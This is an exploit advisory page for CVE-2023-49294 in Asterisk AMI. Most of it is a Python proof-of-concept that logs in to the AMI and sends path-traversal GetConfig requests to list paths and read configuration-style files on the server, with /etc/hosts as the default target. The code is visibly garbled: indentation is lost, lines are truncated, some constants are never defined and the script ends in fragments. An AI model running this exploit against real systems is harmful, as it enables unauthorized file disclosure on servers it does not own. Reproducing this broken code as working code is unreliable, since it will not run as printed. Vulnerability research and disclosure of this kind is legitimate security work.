Authored by Sean Pesce

Asterisk AMI version 18.20.0 suffers from authenticated partial file content and path disclosure vulnerabilities.

advisories | CVE-2023-49294

# Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
# Date: 2023-03-26
# Exploit Author: Sean Pesce
# Vendor Homepage:
# Software Link:
# Version: 18.20.0
# Tested on: Debian Linux
# CVE: CVE-2023-49294

#!/usr/bin/env python3
# Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that
# facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of
# file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar
# to the common INI configuration format.
# References:

import argparse
import getpass
import socket
import sys

CVE_ID = 'CVE-2023-49294'

DEFAULT_FILE = '/etc/hosts'

def ami_msg(action, args, encoding='utf8'):
assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'
assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'
if 'ActionID' not in args:
args['ActionID'] = 0
line_sep = 'rn'
data = f'Action: {action}{line_sep}'
for a in args:
data += f'{a}: {args[a]}{line_sep}'
data += line_sep
return data.encode(encoding)

def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):
assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'
resp = b''
while not resp.endswith(b'rnrn'):
resp += sock.recv(read_sz)
return resp

if __name__ == '__main__':
# Parse command-line arguments
argparser = argparse.ArgumentParser()
argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')
argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)
argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)
argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)
argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)
argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)
if '-h' in sys.argv or '--help' in sys.argv:
print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: n{CVE_ID}n', file=sys.stderr)
args = argparser.parse_args()

# Validate command-line arguments
assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}' = socket.gethostbyname(
if args.password is None:
args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')

print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)
print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{}:{args.port}', file=sys.stderr)

# Connect to the Asterisk AMI server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect((, args.port))

# Read server banner
banner = sock.recv(DEFAULT_TCP_READ_SZ)
print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)

# Authenticate to the Asterisk AMI server
login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})
login_resp = tcp_send_rcv(sock, login_msg)
while b'Authentication' not in login_resp:
login_resp = tcp_send_rcv(sock, b'')
if b'Authentication accepted' not in login_resp:
print(f'n[ERROR] Invalid credentials: n{login_resp.decode("utf8")}', file=sys.stderr)
#print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)
print(f'[INFO] Login success', file=sys.stderr)

# Obtain file data via path traversal
traversal = '../../../../../../../../'
cfg_msg = ami_msg('GetConfig', {
'ActionID': args.action_id,
'Filename': f'{traversal}{args.file}',
#'Category': 'default',
#'Filter': 'name_regex=value_regex,',
resp = tcp_send_rcv(sock, cfg_msg)
while b'Response' not in resp:
resp = tcp_send_rcv(sock, b'')

print(f'', file=sys.stderr)

if b'Error' in resp:

pass # Done